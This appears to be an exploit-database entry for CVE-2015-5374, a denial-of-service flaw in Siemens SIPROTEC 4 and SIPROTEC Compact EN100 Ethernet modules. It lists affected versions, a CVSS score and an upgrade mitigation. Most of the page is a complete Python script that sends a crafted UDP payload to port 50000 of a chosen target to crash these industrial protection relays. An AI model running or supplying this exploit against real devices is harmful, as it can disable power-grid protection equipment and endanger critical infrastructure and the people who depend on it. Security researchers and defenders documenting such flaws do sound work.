Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service

vendor:

Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module

by:

M. Can Kurnaz

7.5

CVSS

HIGH

Denial of Service

CWE

Product Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module

Affected Version From: All devices that include the EN100 Ethernet module version V4.24 or prior.

Affected Version To: V4.24

Patch Exists: NO

Related CWE: CVE-2015-5374

CPE:

Metasploit: https://www.rapid7.com/db/modules/auxiliary/dos/scada/siemens_siprotec4/

Other Scripts:

Platforms Tested: Siemens SIPROTEC 4 (multiple versions < V4.25)

2018

Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service

The exploit allows an attacker to perform a Denial of Service attack on Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module versions below V4.25. The vulnerability is identified as CVE-2015-5374.

Mitigation:

Update the devices to version V4.25 or later.

Source

Exploit-DB raw data:

# Exploit Title: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
# Date: 14.02.2018
# Exploit Author: M. Can Kurnaz
# Contact: https://twitter.com/0x43414e
# Vendor Homepage: https://www.siemens.com
# Version: All devices that include the EN100 Ethernet module version V4.24 or prior.
# Tested on: Siemens SIPROTEC 4 (multiple versions < V4.25).
# CVE : CVE-2015-5374
# Vulnerability Details: 
# https://www.cvedetails.com/cve/CVE-2015-5374/
# https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01

#!/usr/bin/env python

import socket
import sys

print('CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service')

if len(sys.argv) < 2:
	print('Usage: ' + sys.argv[0] + ' [target]')
	sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E'.replace(' ', '').decode('hex')) 

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 50000))

print('Done, say goodbye!')